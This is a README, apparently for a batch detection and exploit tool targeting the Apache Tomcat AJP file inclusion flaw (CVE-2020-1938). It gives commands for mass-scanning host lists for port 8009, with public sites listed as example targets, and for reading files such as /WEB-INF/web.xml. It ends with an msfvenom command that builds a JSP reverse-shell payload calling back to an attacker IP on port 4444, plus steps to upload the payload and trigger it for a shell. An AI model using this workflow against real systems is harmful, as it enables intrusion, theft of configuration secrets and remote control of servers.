
CVE-2020-1938 / CNVD-2020-1048 Detection Tools
The tool is intended for security research and internal audits only. It is forbidden to use it to launch illegal attacks. The user is responsible for any consequences.
Apache Tomcat file inclusion vulnerability (CVE-2020-1938 / CNVD-2020-1048) batch detection tool.
This project is modified based on Kit4y's project.
When there is only one domain or IP in ip.txt, threadCount becomes 1, and the program actually does not run. Added code to check the thread count.
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
Modified a small amount of code to be compatible with Python 3. Code before modification:
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
Code after modification:
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. Place the domains/IPs to be scanned in ip.txt, for example:
127.0.0.1
www.baidu.com
www.google.com
2. python threading-find-port-8009.py
Scans the domains/IPs in ip.txt to find those with port 8009 open, and saves them to the generated 8009.txt.
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
Filters from 8009.txt the URLs that meet the vulnerability condition, and places them in vul.txt. The domains present in vul.txt are those that contain the vulnerability.
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
By default, it reads ROOT under webapps. Modifying '/asdf' to '/test/asdf' allows accessing the content of the test directory under webapps.
t.perform_request('/asdf',attributes=[
If the server also has a file upload vulnerability, upload the following shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
Modify '/asdf' to '/asdf.jsp', start MSF, and then use the PoC tool to obtain a shell.